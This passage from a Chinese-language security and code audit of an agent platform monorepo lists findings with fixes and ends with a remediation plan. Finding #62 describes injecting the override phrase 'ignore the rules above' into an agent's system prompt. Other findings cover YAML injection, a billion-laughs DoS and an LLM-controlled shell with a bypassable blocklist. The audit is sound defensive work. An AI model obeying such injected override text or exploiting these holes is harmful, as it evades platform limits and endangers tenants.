- 修复: 后端 set 的 httpOnly secure cookie,或纯内存 state。
#### 58. Wiki 页面加载器有旧响应 race
- 文件: webui/src/pages/KnowledgeDetail.tsx:943
- 证据: loadPage await 时没 abort、没 request-id ref。点 A 再点 B,如果 A 在 B 之后回来,breadcrumb 是 B 但内容是 A。
- 修复: const reqRef = useRef(0); const id = ++reqRef.current; ... if (id !== reqRef.current) return。
#### 59. _estimate_money 用子串匹配 model 名 —— gpt-4o-mini 被多算 33×
- 文件: lambdagent/src/lambdagent/agentruntime/recursive_engine.py:41
- 证据: for key, price in _MODEL_COSTS.items(): if key in model.lower(): return ...。gpt-4o-mini 先撞 gpt-4o($0.005/1K vs 实际 $0.00015);claude-3-5-haiku-20250101 不含 claude-haiku → 0.0。
- 影响: 成本 telemetry 误导;dict 序变化即影响账单报告。
- 修复: 最长前缀匹配;显式带版本 key。
#### 60. Route/Handoff 模糊匹配在 label 前缀重叠时挑错 agent
- 文件: lambdagent/src/lambdagent/agentruntime/executor.py:137
- 证据: 子串 fallback if key.lower() in label;Handoff 双向 name in target or target in name 在 multiagent.py:597。
- 影响: Routes {'bob', 'bobby'} + label bobby(非精确匹配)会挑到 bob。同级 agent 名字前缀重叠时静默 mis-route。
- 修复: word-boundary regex;或按 key 长度降序排序。
#### 61. 通过 knowledge_base.root_dir 注入 YAML 到 instance.yml
- 文件: agentpaas/api/v1/knowledge.py:213
- 证据: 在单引号 YAML scalar 里用 f-string 插值 kb_root,未转义 ' 或 \n。Path.resolve() 都保留。
- 影响: 能创建带引号/换行的目录名的 tenant 可以把任意 YAML key 注入 instance.yml,下游 subprocess build script 会信任。前置条件:文件系统写权限。
- 修复: 用真正 dict 跑 yaml.safe_dump({...})。
#### 62. 通过未校验的 target_subagent 注入 prompt 到 ReAct system prompt
- 文件: agentpaas/api/v1/agents.py:569
- 证据: RunStreamRequest.target_subagent 是自由 str,只做了 .strip(),被插值到 [用户指令] 哨兵之上。
- 影响: 调用方嵌入 \n忽略上述规则\n 重写 orchestrator 的 framing,绕过 enforceLoop 上限和 artifact-gate 引导。是 self-tenant prompt 操纵,不是跨 tenant。
- 修复: 校验是否在 config["mcp"]["subAgents"] keys 里;去换行。
#### 63. legacy 定 salt 的 PBKDF2 API key hash 静默自动迁移,不强制 rotate
- 文件: agentpaas/api/middleware/auth.py:119
- 证据: _legacy_hash_key 是单轮 SHA-256;自动迁移只在 auth 成功时触发。沉睡的 legacy key 永远保持普通 SHA-256。
- 影响: "SEC-01 已修" 名不副实。注:API key 是 32 字符随机(约 190 bit),实际离线暴破不可行——这是 defense-in-depth 卫生,不是 break-glass。
- 修复: must_rotate_before 截止时间;过截止后拒绝 legacy hash;或后台 job 重 hash。
#### 64. agentpaas/pyproject.toml 没声明 SQLAlchemy,尽管 db/models.py 的命名暗示
- 文件: agentpaas/pyproject.toml:10
- 证据: prod = ["asyncpg", "redis", ...] 但无 sqlalchemy。db/models.py docstring 声称是 SQLAlchemy ORM;实现用裸 sqlite3 + 对非 sqlite URL 抛 NotImplementedError。
- 影响: 误导性依赖声明。装 [prod] 想部署到 Postgres 会在启动时挂。
- 修复: 更新 docstring + 删掉误导性的 asyncpg extra;或者真的用 SQLAlchemy 重写。
#### 65. agentpaas 伸手进 lambdagent 的私有 internals(_set_cwd + agentruntime.cancel)
- 文件: agentpaas/api/v1/agents.py:1399
- 证据: from lambdagent.builtin_tools.shell_tools import _set_cwd as _shell_set_cwd(带下划线的 private);from lambdagent.agentruntime import cancel as _cancel(按 git status 看是新的未提交 module)。
- 影响: 跨包耦合绕过 lambdagent 的 public 面;handler 里的 inline import 把 ImportError 从 startup 推迟到 runtime。
- 修复: 定义 lambdagent.host(或 lambdagent.runtime.api)作为 supported 集成面。
#### 66. agentpaas 重度依赖 request handler 里的 inline from lambdagent ... import
- 文件: agentpaas/api/v1/agents.py:1330
- 证据: agents.py 里 6 处 inline import;engine/cache.py:41、engine/sandbox.py:207-208、analyze.py:29,46,47,67,112、launch.py:184 同一模式。
- 影响: ImportError 在 per-request 浮出来,而不是启动时。/health 过、/agents/{id}/run 挂。掩盖跨包边界——未声明依赖之所以一直没被发现就是因为它。
- 修复: 提到模块顶;加 lint 规则禁止函数体内 import lambdagent。
#### 67. 整个 monorepo 的 license 不一致(BSL 1.1 vs MIT)
- 文件: lambdagent_guard/pyproject.toml:9
- 证据: lambdagent_guard MIT、lambdagent BUSL-1.1、agentpaas 完全没有 license。
- 影响: 任何想 vendoring 的人都面临 legal 不清;与 #44 呼应。
- 修复: 对齐 license;给 agentpaas 显式补一个。
#### 68. agentruntime 子层依赖纠缠
- 文件: lambdagent/src/lambdagent/agentruntime/executor.py:17
- 证据: executor → react_engine、recursive_engine → executor、adaptive_engine → {recursive, cek}。BUG-06 trace 分裂的结构原因;react_engine.py:94 有明确注释 "FIX-05: Record trace to BOTH self.trace AND ctx.trace" 验证了双写绕开方案。
- 修复: 单一 Engine ABC 在 agentruntime/engine.py(已存在);删 adaptive_engine 直到 cost-based 切换真的就绪。
#### 69. extensions.py 用 late from .primitives import If 躲循环 import
(被 impact verifier 降级 —— 按 line 178 的 FIX-02 注释这个 late import 已是 dead code;归为清理项)
#### 70. README 导出数量差 2× —— 声称 81,实际 152
- 文件: README.md:44
- 证据: from lambdagent import __all__; len(__all__) == 152。
- 影响: 装饰性;低估了成熟度。
- 修复: 在 docs hook 里从 len(lambdagent.__all__) 自动生成。
#### 71. README 的 one-sentence-agent 例子指向不存在的路径和错的 kwarg
- 文件: README.md:320
- 证据: python nl2agent.py ...——文件其实在 experiments/nl2agent.py。程序例子传 task=,真实签名是 one_sentence_to_agent(description, user_input=None, model=..., verbose=True)。
- 影响: Headline 营销特性在首次接触就崩。
- 修复: python experiments/nl2agent.py ...;把 task= 改成 user_input=。
#### 72. README 仓库布局表对 deploy/ 的描述错误,并给了不可运行的安装命令
- 文件: README.md:21
- 证据: 表里说 deploy/ 含 "Docker Compose, nginx, startup scripts",运行命令是 docker compose up -d。实际 deploy/ 有 7 个文件:install-native.{sh,ps1}、start.{sh,bat,ps1}、stop.{sh,bat}——没有 compose、没有 nginx。compose 文件在 repo root。
- 影响: cd deploy/ && docker compose up -d 第一次就得到 "no configuration file provided: not found"。
- 修复: 如实描述 deploy/;compose 的 mention 单独成一行,锚到 repo root。
#### 73. README 的 one-sentence-agent 例子
(与 #71 合并)
#### 74. SPEC §3.3.3 的 stream URL 与代码不一致 —— spec 写 /stream,代码挂的是 /run/stream
- 文件: agentpaas/api/v1/agents.py:432
- 证据: route 是 @router.post("/{agent_id}/run/stream")。SPEC.md §3.3.3 line 226 规定 /agents/{agent_id}/stream。§3.3.4 line 249 的 WS 端点没有实现。
- 修复: 更新 SPEC.md 对齐代码;删掉 WebSocket 段或实现它。
#### 75. SPEC §3.3.1 run 响应 —— trace_id 和 estimated_cost_usd 文档化但从不返回
- 文件: agentpaas/SPEC.md:178
- 证据: SPEC 承诺两个字段;agents.py:401-414 拼装的 resp dict 两个都没有。runs.trace_id 列存在但从不外露。
- 修复: 要么填上字段(lambdagent/cost_grade.py 里有成本机制),要么把 SPEC 与 api.md 对齐。
#### 76. from-config-spec §5.5 承诺 Provider 异常是致命的,但 _compile_lam 把它吞了
- 文件: lambdagent/src/lambdagent/fromconfig/compiler.py:562
- 证据: 整段 provider + ConversationLam 构造裹在 try: ... except Exception: pass。掉进无状态的 legacy Lam 静默回退。
- 影响: 任何 ImportError、misconfig 或 provider init 失败都静默把生产 agent 降级到无状态——丢失 session 持久化("Zero-Hallucination Conversations" 招牌特性),还不打 log。
- 修复: 收窄 except;打 warning;可选 runtime.requireConversation: true。
#### 77. lambdagent_guard 重复实现了 agentpaas 已经包了的 lint/cost/extract pipeline
- 文件: lambdagent_guard/core.py:89
- 证据: lambdagent_guard/core.py:89-110 和 agentpaas/api/v1/analyze.py:29-117 都独立 import 同一组 lambdagent.fromconfig + cost_grade 函数,并各自重复实现 tempfile-yaml-compile 那一套。
- 影响: 没有 canonical 受保护编译路径;kernel 改名会级联到两个 caller。
- 修复: 选一个方向;删掉重复 pipeline 或让 analyze 走 guard。
#### 78. run-workspace 测试依赖 time.sleep(1.1) —— 脆弱,并暴露底层秒级时间戳方案本身就脆弱
- 文件: tests/test_run_workspace.py:132
- 证据: ws1 = ...; time.sleep(1.1); ws2 = ... 来强行得到唯一目录名。
- 影响: 并发 run(现实 PaaS 场景)会走 sandbox.py:80 的 collision-suffix fallback,而那条路径未测。
- 修复: mock time.strftime 返回相同值;断言 collision-fallback 产生不同 path。
#### 79. 上一版审计的 'known-empty stubs' 声明自己已经过期 —— docs/theory.md 是 230 行
- 文件: docs/PROJECT_AUDIT_2026Q2.md:195-196
- 证据: Q2 审计说 theory.md 是 71 字节 / 空;实际文件是 229 行。multi-agent.md 是 14KB。
- 影响: Meta-doc bug。DOC-01/DOC-02 backlog 项已过期。其他 "NOT fixed" 声明也值得复查。
- 修复: 下个规划周期之前刷新 Q2 审计的 stub 段。
#### 80. test_compile_simple 同时接受 Lam 和 ConversationLam —— 类型断言被削弱
- 文件: tests/test_fromconfig.py:29
- 证据: isinstance(term, (Lam, ConversationLam)) 加注释 "depending on provider config"。
- 影响: 同一 YAML 在不同环境下被编译成不同 term——非确定性编译。测试在掩盖问题,而不是 pin 住 provider。
- 修复: 在 test YAML 里 pin provider: stub;恰好断言一种 class。
#### 81. qaagent67lambda app.py 把 Ollama client 默认到 vLLM 风格端点 :8000 —— 端口错且绕过 config
- 文件: agentexample/qaagent67lambda/scripts/app.py:140
- 证据: 硬编码 base_url='http://127.0.0.1:8000/v1' 忽略 agent-config.yml 里整段 model: 块。8000 端口与 agentpaas 默认 uvicorn 端口冲突。
- 影响: 同一台机器跑 PaaS + QA demo → QA 把 chat completion POST 到 FastAPI control plane → 404。
- 修复: 从 _cfg['model'] 读 provider / base_url;默认端口选不冲突的。
---
### 低 (15)
#### 82. _react_step 里 tool_input 为不可序列化 dict 时出 NameError
- 文件: lambdagent/src/lambdagent/fromconfig/compiler.py:1022
- 影响下调: tool_input 来自 json.loads,只可能是 JSON 原生类型——json.dumps 不会在它上面失败。是潜在 code smell 不是可达 crash。
- 修复: 在 try 之前初始化 tool_input_val = ''(防御性)。
#### 83. react_engine 吞掉 callback 异常
(见 medium #48 —— 有时被 impact 视角投 low,因为 _step_adapter 是 queue.put,本质不会抛)
#### 84. agent67 的 sys.path 改动硬编码了错误的 project root 名 + 父目录层数不一致
- 文件: agentexample/agent67/run.py:30
- 证据: PROJECT_ROOT = Path(__file__).resolve().parent.parent.parent # Paper08/(repo 是 lambdagentpaas/)。core/assistant.py:24 用 4 个 .parent,run.py 用 3 个。
- 影响: 装饰性(路径今天算下来还是对的;lambdagent 是 pip-installed,sys.path trick 已是 dead code)。对未来重组很脆。
#### 85. _estimate_money 模型子串匹配
(见 medium #59 —— 有时被投 low 因为 impact 是成本 telemetry 不是账单)
#### 86. Route 模糊匹配前缀碰撞
(见 medium #60 —— 精确匹配是常见路径时投 low)
#### 87. 文档例子教用户在 YAML config 里塞 sk-... 字面值
- 文件: docs/from-config-spec.md:896
- 证据: api_key="sk-..." 构造器字面例子。Provider 类已经能 fallback 到 env var。
- 修复: docs 里用 api_key=os.environ["ANTHROPIC_API_KEY"]。
#### 88. 开发者 .env 里带真实第三方 API key,离提交只差一条 .gitignore 规则
(见 critical #5 —— 被 impact 视角投 low,因为从未被追踪 + 有冗余 gitignore)
#### 89. pyyaml 依赖完全无约束
- 文件: lambdagent/pyproject.toml:30
- 证据: dependencies = ["pyyaml"] 无版本。其他依赖都有 >= 下限。
- 修复: pin 上下限:pyyaml>=6.0,<7.0;提交一份 lockfile。
#### 90. API endpoint 接受任意 YAML over HTTP —— billion-laughs DoS
- 文件: agentpaas/api/v1/analyze.py:104
- 证据: 在用户 body 上跑 yaml.safe_load(config)。实测复现:237 字节 YAML 在 3ms 内展开成 4.8M list 元素。叠加 unauthenticated /analyze/* 和缺 auth 时的 rate-limit bypass(medium #26 + #25)。单请求 worker OOM。
- 修复: ASGI body-size cap(≤256KB)+ alias 预检。
#### 91. extensions.py 的 late If import 现在是 dead code(FIX-02 已把 truthy 检查 inline)
(与 arch 项 #69 合并)
#### 92. 顶层 lambdagent/ package 是个 43 文件的扁平袋子
- 文件: lambdagent/src/lambdagent/__init__.py:38
- 证据: 包根有 43 个扁平 .py 文件;tracing.py(27KB)和 core.py(8KB)并排;tool_gateway.py(24KB)和 primitives.py 并排。真正的子包只有 agentruntime/、fromconfig/、providers/、builtin_tools/、cli/、extractors/、skillpacks/。
- 影响: code-hygiene / 贡献者 DX 问题,没有 runtime 症状。
- 修复: 重构为 core/、protocols/、safety/、observe/、runtime/。
#### 93. GitHub Actions 被 pin 到可变大版本 tag
- 文件: .github/workflows/ci.yml:19
- 证据: actions/checkout@v4、gitleaks/gitleaks-action@v2、actions/setup-python@v5、actions/setup-node@v4。
- 影响: 通过 tag 劫持的供应链攻击(tj-actions/changed-files 2025 年 3 月先例)。workflow 跑时手握完整 GITHUB_TOKEN。OSS repo 上不算很尖锐——公开历史 exfil 无意义。
- 修复: 每个 uses: 都 pin SHA;给 actions 开 Dependabot。
#### 94. README 导出数量漂移
(与 #70 合并)
#### 95. 上一版审计的 stub 声明已过期
(与 #79 合并)
#### 96. test_compile_simple 被削弱的断言
(与 #80 合并)
---
## 按维度分组的发现
| 维度 | 数量 | Top issue |
|---|---|---|
| sec-auth | 6 | /setup/bootstrap 无 auth 创建 admin tenant(critical) |
| sec-injection | 4 | shell_executor.py LLM 控制的 shell + 可绕过 blocklist(critical) |
| sec-secrets | 4 | travelagent .env 携带真实 SiliconFlow/Amap key(critical,gitignored) |
| sec-supply-chain | 6 | agent-lint-action 静默 no-op fallback + typo-squat(high) |
| correctness-agentpaas | 9 | term.apply 阻塞 async event loop(high);模块全局 shell CWD race(high) |
| correctness-lambdagent | 6 | async_executor 共享 Context(high);compiler.py sub-agent caller 丢 ctx + 吞 cancel(high) |
| correctness-webui | 5 | SSE stream 在导航时不取消 → 后端成本泄漏(high) |
| correctness-examples | 5 | qaagent67lambda 硬编码 /home/67/ 路径(high);共享 knowledge 目录上的 pickle.load(high) |
| arch-monorepo | 6 | agentpaas pyproject 缺 lambdagent 依赖(critical);where=[".."] 打出空 wheel(high) |
| arch-internals | 6 | 4 套并存的 beta-reduction 解释器(high);1654 行 compiler.py god module(high) |
| tests-gaps | 6 | FastAPI route 零 HTTP 层 test(critical);authenticate() 无 test(high);instance_dir 未测(high) |
| docs-accuracy | 8 | README Quick Start Loop/Memory kwargs 不存在(high);根 CONTRIBUTING.md 写 MIT(high) |
| spec-vs-impl | 5 | YAML 支持 5 类型,docs 声称 11(high);_compile_chain 静默丢 type:react(high) |
## 与上一版审计的对比 (docs/PROJECT_AUDIT_2026Q2.md)
### 已改善
- DESIGN-01 / DESIGN-07 / DESIGN-08 在 memory 里标记为已修 —— handlers.py 里有 PassthroughHandler 基类;infer_effect_for_term 覆盖所有新构造子;validate_cost 已接入 CEKEngine。注意: DESIGN-08 的验证裹在裸 except Exception: pass 里(finding #49),所以这次 "修" 是粉饰——任何失败 validator 都静默 no-op。
- instance 机制已 ship —— agentpaas/engine/instance.py 提供 load_instance()、create_instance()、_deep_merge();DB schema 已迁移加上 agent_template + instance_dir 列;helper 级 test 覆盖了 _deep_merge 逻辑。(test gap 仍在:见 #36。)
- run-workspace 的 per-run 隔离能工作 —— {agent_dir}/workspace/run_{YYYYMMDD_HHMMSS}/ 结构有 test 验证,虽然它们用 time.sleep(1.1) 偷工(#78)。
- 新增了 cancellation 机制 —— lambdagent/src/lambdagent/agentruntime/cancel.py 是新(未提交)模块,提供 thread-local cancellation,被 agentpaas 消费。方向正确,但暴露了 host-API 缺口(#65)。
- Phase 1/2 P0/P1 工作扛得住 —— CEK 升级、graded cost、algebraic laws、cost vector 都在,按 memory 跑 175 个 test 通过。对抗式验证没在 kernel 本身找到回归。
### 仍然存在 (Q2 issues 未消)
- BUG-01(Context.fork 浅拷贝) —— 在 core.py:105 修了,但在 async_executor.py:240-246 复发(#8)。同一 bug 类型,不同 code path。
- BUG-06(trace 三路分叉) —— 这版审计已确认。trace store 分裂的*结构*成因是 (a) 4 套并存 beta-reduction 解释器(#20)、(b) agentruntime/ 引擎纠缠(#68)、(c) compiler.py(#21)和 agentruntime/react_engine.py 之间重复的 ReAct loop。react_engine.py:94 甚至有显式 FIX-05 注释说要把 trace 同时写到 self.trace 和 ctx.trace,那就是绕开方案。
- SEC-01(PBKDF2 定 salt) —— 部分修复:新 key 用随机 salt,但 legacy 定 salt hash 只在 auth 成功时自动迁移,所以沉睡 key 永远是普通 SHA-256(#63)。API key 是 32 字符随机,实际风险低,但 "已修" 说法过头。
- SEC-04(API 层未强制 RBAC) —— 已确认:rollback_agent(#14)静默绕过 RBAC 和 audit logging。其他 route 有这个 pattern 但不一致也未测。没有集成测试(#6),就会随意回归。
- Q2 审计自己的 "stale" 问题(#79) —— Q2 文档还把 theory.md 描述成 71 字节的 stub,实际是 229 行。
### Q2 之后新增
- PaaS 攻击面爆开。 /setup/bootstrap、/feishu/bind、/feishu/webhook、/analyze/*、/providers/*、/jobs/{id} —— 这些在 Q2 都不存在(或没被标记),六个全都有 auth / RBAC / scoping 问题。
- 打包结构性损坏。 agentpaas/pyproject.toml 没声明 lambdagent(#4),where=[".."] 打出空 wheel(#18)。最近的 CI 修复(commit 874896e)治标不治本。
- travelagent 的 secret 暴露。 agentexample/travelagent67/.env 带真实 key 是 agentexample/ 的新代码。未提交但在磁盘上。
- webui 稳定性/UX bug。 Chat.tsx stream 泄漏(#15)、Chat.tsx 历史恢复 race(#55)、AgentWorkspace.tsx 文件预览 race(#56)、KnowledgeDetail.tsx wiki 页 race(#58)——都是最近 UI 工作引入的。
- spec 漂移。 84 条发现里 7 条是文档 / spec-vs-impl 漂移(README Loop/Memory 例子坏掉、YAML schema 与 docs 不符、SPEC.md 上不存在的端点、根 CONTRIBUTING.md license 矛盾)。
## 建议执行清单
按 impact/effort 排前 10,降序:
1. 修补三个无 auth 入口(/setup/bootstrap、/feishu/bind、/feishu/webhook),所有 /analyze/* route 加 Depends(get_tenant)。为什么: 易触发的远程接管。Effort: S(约 1 天)。Owner: agentpaas。
2. 在 vendor 侧 rotate AMAP_MCP_KEY + SILICONFLOW_API_KEY;把 agentexample/travelagent67/.env 替换为占位符;加 pre-commit gitleaks。 为什么: 已被审计报告引用,假设已泄漏。Effort: S。Owner: 维护者 / examples。
3. 修 agentpaas 打包。 在 [project.dependencies] 里加 lambdagent;切换到 src-layout(agentpaas/src/agentpaas/)。为什么: 这个包今天作为 wheel 无法构建。Effort: M。Owner: agentpaas。
4. 加 FastAPI 集成测试,覆盖 auth、RBAC、tenant 隔离、KB 链接。 用 TestClient + sqlite-in-memory。为什么: 3477 LOC 的 route handler 可以静默坏掉;多 tenant 承诺未被验证。Effort: M(约 1 周)。Owner: agentpaas / tests。
5. 把 agentexample/agent67/tools/shell_executor.py 换成 allowlist + shell=False + sandbox。 不用就删;不要 patch blocklist。为什么: ship 的示例里有 RCE primitive。Effort: S。Owner: examples。
6. 修 agent-to-KB 的 tenant scope(#30)和 rollback_agent RBAC/audit(#14)。 为什么: 通过文档化 API 跨 tenant 泄漏数据 + RBAC bypass。Effort: 各 S。Owner: agentpaas。
7. 修 README Quick Start Python DSL 例子(#37、#38、#71)。 合并前端到端跑一遍。为什么: 第一印象。Effort: S。Owner: docs。
8. 在 async_executor._reduce_par/_reduce_pair 里照抄 sync AsyncPar.apply 的 Context-fork 模式(#8)。 与 Q2 BUG-01 同一 root cause。Effort: S。Owner: lambdagent runtime。
9. 把 compiler.py 的 _compile_react 闭包重构成 agentruntime/react_loop.py 里的 class(#21),删掉 react_engine.py 里重复的 loop。 为什么: 解锁 BUG-06,让未来 ReAct 改动只改一个文件。Effort: L(约 2 周)。Owner: lambdagent compiler + runtime。
10. 定义 lambdagent.host 公开 API(cancel、set_cwd 等),停止从 agentpaas 伸进 private internals(#65、#66)。 为什么: 跨包边界需要在更多 handler 加 inline import 之前先有合约。Effort: M。Owner: lambdagent + agentpaas。
## 健康项
- lambdagent kernel 本身。 84 条发现里没有一条命中核心代数 Lambda calculus、CEK 机器语义、cost vector、graded cost、algebraic laws、effect handler 或 Paper II Prop 30 证明。Phase 1/Phase 2 P0/P1 工作经得住审视。kernel 的 175 个 test 是真实覆盖。
- sync multiagent.py 的 Par/Pair/Handoff Context 处理。 multiagent.py:681 正确 fork context 并 merge trace —— bug 只在 async 兄弟里。写 sync 版的人写对了。
- KB 端点的 tenant scope。 agentpaas/api/v1/knowledge.py 一致地强制 WHERE id=? AND tenant_id=?(约 25 处)—— agent-link 时的跨 tenant 缺口(#30)是*异常值*,不是常态。最重要的地方 pattern 是对的。
- tests/test_instance.py 对 _deep_merge 的覆盖。 instance 机制的纯 Python helper 层测得不错——只是 DB 持久化路径缺失。
- CI 里的 gitleaks。 .github/workflows/ci.yml:23 在 PR 上跑 gitleaks,正因为这个 travelagent 的 .env key 才没被提交,尽管它躺在磁盘上。CI 在做它该做的;pre-commit 层只需要 mirror 一下。
- instance 机制的设计。 Agent 即 template、instance 即 data,配 _deep_merge、per-run workspace 带时间戳目录、永不删除——这是多 tenant LambdaRAG 的正确架构。test gap(#36)是实现问题不是设计问题。
- wiki 端点的 containment 检查。 knowledge.py:1050 正确强制 str(full).startswith(str(wiki_path.resolve())) —— 证明这套代码知道正确 pattern。(add_files 在 #27 只是忘了用。)
- Streaming SSE 基础设施。 run_agent_stream 正确卸到 daemon 线程(agents.py:791),不像 sync /run 那条线。形状好;只是 client 端缺 unmount cleanup。
- lambdagent.cost_grade 里的 cost vector 和 graded cost 机制。 存在且产生正确值;_estimate_money 的子串 bug(#59)是另一个 recursive_engine.py helper 里的,不是 authoritative 路径。
- 文档广度。 docs/ 里有 theory.md、constructs.md、from-config-spec.md、SPEC.md、api.md、cli-usage.md 和设计笔记 —— spec-vs-impl 缺口正是因为 docs *的确*在尝试做到完整。漂移是维护问题,不是缺席问题。